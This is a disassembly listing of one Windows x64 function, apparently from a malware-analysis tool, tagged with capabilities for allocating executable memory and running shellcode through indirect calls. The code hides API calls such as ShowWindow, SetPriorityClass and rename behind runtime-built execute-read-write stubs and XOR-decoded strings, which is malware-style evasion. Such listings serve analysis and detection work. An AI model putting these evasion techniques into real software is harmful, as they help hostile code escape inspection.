Function at 0x140059650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x14014a4c8]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, rcx
mov dword [rbp - 0x39], 5
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp - 0x41], rax
lea r12, [rbp + 0x5f]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x17], rax
mov qword [rbp + 0x1f], r12
mov rbx, qword [r12]
xor rbx, rax
mov qword [rbp + 0xf], rbx
xor r13d, r13d
mov qword [r12], r13
mov ecx, r13d
lea esi, [r13 + 3]
lea r14, [0x14004b7f0]
lea r15, [0x140000000]
mov rax, qword [0x14014bbd0]
test rax, rax
je 0x14005970b
mov edx, r13d
cmp rax, r14
je 0x1400596fa
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x14bbd0]
test rax, rax
jne 0x1400596e2
jmp 0x14005970b
mov r9, qword [r15 + rdx*8 + 0x14bef0]
test r9, r9
jne 0x1400597ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140059732
mov r9, r13
jmp 0x1400597ce
mov rax, r14
mov rcx, r9
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140059740
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014bbc8]
mov qword [r15 + rax*8 + 0x14bbd0], r14
mov qword [r15 + rax*8 + 0x14bef0], r9
inc rax
mov qword [0x14014bbc8], rax
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x41]
mov rcx, qword [sym.imp.USER32.dll_ShowWindow]
call r9
nop
movabs r14, 0xff00ff00ff00ff00
xor rbx, r14
mov qword [r12], rbx
mov edx, recv
lea rcx, [rbp - 0x11]
call fcn.1400588e0
nop
cmp qword [rax + 0x18], 0x10
jb 0x14005982c
mov rax, qword [rax]
mov qword [rbp - 0x41], rax
lea r12, [rbp + 0x5f]
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], r12
mov rbx, qword [r12]
xor rbx, r14
mov qword [rbp + 0xf], rbx
mov qword [r12], r13
mov ecx, r13d
lea r14, [0x14004b960]
mov rax, qword [0x14014c220]
test rax, rax
je 0x14005988d
mov rdx, r13
cmp rax, r14
je 0x14005987c
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x14c220]
test rax, rax
jne 0x140059864
jmp 0x14005988d
mov r8, qword [r15 + rdx*8 + 0x14c540]
test r8, r8
jne 0x14005996f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400598b4
mov r8, r13
jmp 0x14005994e
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400598c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c210]
mov qword [r15 + rax*8 + 0x14c220], r14
mov qword [r15 + rax*8 + 0x14c540], r8
inc rax
mov qword [0x14014c210], rax
lea rdx, [rbp - 0x41]
mov rcx, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call r8
nop
movabs r14, 0xff00ff00ff00ff00
xor rbx, r14
mov qword [r12], rbx
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x1400599cd
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400599c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400599c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c884c
mov dword [rbp - 0x39], 0x100
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp - 0x41], rax
lea r12, [rbp + 0x5f]
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], r12
mov rbx, qword [r12]
xor rbx, r14
mov qword [rbp + 0xf], rbx
mov qword [r12], r13
mov ecx, r13d
lea r14, [0x14004b7f0]
mov rax, qword [0x14014c870]
test rax, rax
je 0x140059a3b
mov rdx, r13
cmp rax, r14
je 0x140059a2a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x14c870]
test rax, rax
jne 0x140059a12
jmp 0x140059a3b
mov r9, qword [r15 + rdx*8 + 0x14cb90]
test r9, r9
jne 0x140059b1f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140059a62
mov r9, r13
jmp 0x140059afe
mov rax, r14
mov rcx, r9
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140059a70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c860]
mov qword [r15 + rax*8 + 0x14c870], r14
mov qword [r15 + rax*8 + 0x14cb90], r9
inc rax
mov qword [0x14014c860], rax
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x41]
mov rcx, qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [r12], rbx
call fcn.140055200
mov rdx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
mov qword [rbp - 0x21], r13
mov qword [rbp - 0x19], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x140059b64
lea rcx, [rbp - 0x31]
call fcn.14004bb90
nop
mov edx, recv
lea rcx, [rbp + 0xf]
call fcn.1400588e0
nop
cmp qword [rax + 0x18], 0x10
jb 0x140059b91
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], r13
mov qword [rbp + 7], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140059ba3
mov rdx, rax
lea rcx, [rbp - 0x11]
call fcn.14004bb90
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x140059bf8
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059bf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140059bf3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c884c
movdqa xmm0, xmmword [0x1400da020]
movdqu xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0xf], 0
mov byte [rbp - 0x39], 0x49
mov r8b, 0x67
mov al, Ordinal_45
mov cl, Ordinal_50
movzx edx, al
xor r9d, r9d
xor r8b, 0x49
mov byte [rbp - 0x38], r8b
xor al, 0x49
mov byte [rbp - 0x37], al
xor cl, 0x49
mov byte [rbp - 0x36], cl
xor dl, 0x49
mov byte [rbp - 0x35], dl
mov byte [rbp - 0x34], r9b
lea rax, [rbp - 0x38]
mov rbx, rsi
nop
inc rbx
cmp byte [rax + rbx], r9b
jne 0x140059c40
lea r14, [rbp - 0x31]
mov r10, qword [rbp - 0x31]
mov r9, qword [rbp - 0x19]
cmp r9, 0x10
cmovae r14, r10
mov r13, qword [rbp - 0x21]
cmp rbx, r13
ja 0x140059ce7
mov rax, r13
sub rax, rbx
test rbx, rbx
je 0x140059d7a
lea r15, [rax + r14]
movsx r12d, r8b
lea r8, [r15 + 1]
sub r8, r14
mov edx, r12d
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x140059cdf
nop dword [rax + rax]
mov r8, rbx
lea rdx, [rbp - 0x38]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140059cd2
inc rdi
lea r8, [r15 + 1]
sub r8, rdi
mov edx, r12d
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x140059ca0
jmp 0x140059cdf
sub rdi, r14
cmp rdi, 0xffffffffffffffff
jne 0x140059d7a
mov r9, qword [rbp - 0x19]
mov r10, qword [rbp - 0x31]
mov byte [rbp - 0x39], reloc.WLDAP32.dll_Ordinal_46
xor al, al
mov cl, 0x4b
mov dl, 0x56
movzx r8d, cl
xor r11d, r11d
xor al, 0x2e
mov byte [rbp - 0x38], al
xor cl, 0x2e
mov byte [rbp - 0x37], cl
xor dl, 0x2e
mov byte [rbp - 0x36], dl
xor r8b, 0x2e
mov byte [rbp - 0x35], r8b
mov byte [rbp - 0x34], r11b
lea rax, [rbp - 0x38]
mov rdi, rsi
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r11b
jne 0x140059d20
mov rax, r9
sub rax, r13
cmp rdi, rax
ja 0x140059d60
lea rax, [rdi + r13]
mov qword [rbp - 0x21], rax
lea rbx, [rbp - 0x31]
cmp r9, 0x10
cmovae rbx, r10
add rbx, r13
mov r8, rdi
lea rdx, [rbp - 0x38]
mov rcx, rbx
call fcn.140065c90
mov byte [rdi + rbx], 0
jmp 0x140059d7a
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x38]
movzx r8d, byte [rbp - 0x49]
mov rdx, rdi
lea rcx, [rbp - 0x31]
call fcn.14004c700
mov byte [rbp - 0x39], 0x7c
mov al, 0x52
mov cl, Ordinal_26
mov dl, 4
movzx r8d, cl
xor r9d, r9d
xor al, 0x7c
mov byte [rbp - 0x38], al
xor cl, 0x7c
mov byte [rbp - 0x37], cl
xor dl, 0x7c
mov byte [rbp - 0x36], dl
xor r8b, 0x7c
mov byte [rbp - 0x35], r8b
mov byte [rbp - 0x34], r9b
lea rax, [rbp - 0x38]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], r9b
jne 0x140059db0
mov rcx, qword [rbp - 1]
mov rdx, qword [rbp + 7]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140059df9
lea rax, [rsi + rcx]
mov qword [rbp - 1], rax
lea rbx, [rbp - 0x11]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x11]
add rbx, rcx
mov r8, rsi
lea rdx, [rbp - 0x38]
mov rcx, rbx
call fcn.140065c90
mov byte [rbx + rsi], 0
jmp 0x140059e13
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x38]
movzx r8d, byte [rbp - 0x49]
mov rdx, rsi
lea rcx, [rbp - 0x11]
call fcn.14004c700
lea rax, [rbp - 0x11]
cmp qword [rbp + 7], 0x10
cmovae rax, qword [rbp - 0x11]
mov qword [rbp - 0x41], rax
lea rax, [rbp - 0x31]
cmp qword [rbp - 0x19], 0x10
cmovae rax, qword [rbp - 0x31]
mov qword [rbp - 0x39], rax
lea r14, [rbp + 0x5f]
movabs r12, 0xff00ff00ff00ff00
mov qword [rbp + 0x17], r12
mov qword [rbp + 0x1f], r14
mov rbx, qword [r14]
xor rbx, r12
mov qword [rbp + 0xf], rbx
xor r15d, r15d
mov qword [r14], r15
mov ecx, r15d
lea rdi, [0x14004b920]
mov rax, qword [0x14014cec0]
lea rsi, [0x140000000]
test rax, rax
je 0x140059ea9
mov edx, r15d
nop dword [rax]
cmp rax, rdi
je 0x140059e98
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14cec0]
test rax, rax
jne 0x140059e80
jmp 0x140059ea9
mov r10, qword [rsi + rdx*8 + 0x14d1e0]
test r10, r10
jne 0x140059f8f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140059ed0
mov r10, r15
jmp 0x140059f6e
mov rax, rdi
mov rcx, r10
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140059ee0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014ceb0]
mov qword [rsi + rax*8 + 0x14cec0], rdi
mov qword [rsi + rax*8 + 0x14d1e0], r10
inc rax
mov qword [0x14014ceb0], rax
lea r8, [rbp - 0x41]
lea rdx, [rbp - 0x39]
mov rcx, qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
call r10
nop
xor rbx, r12
mov qword [r14], rbx
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x140059fe6
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059fe1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140059fe1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c884c
mov qword [rbp - 1], r15
mov qword [rbp + 7], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp - 0x19]
cmp rdx, 0x10
jb 0x14005a034
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a02f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005a02f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c884c
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400c8960
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret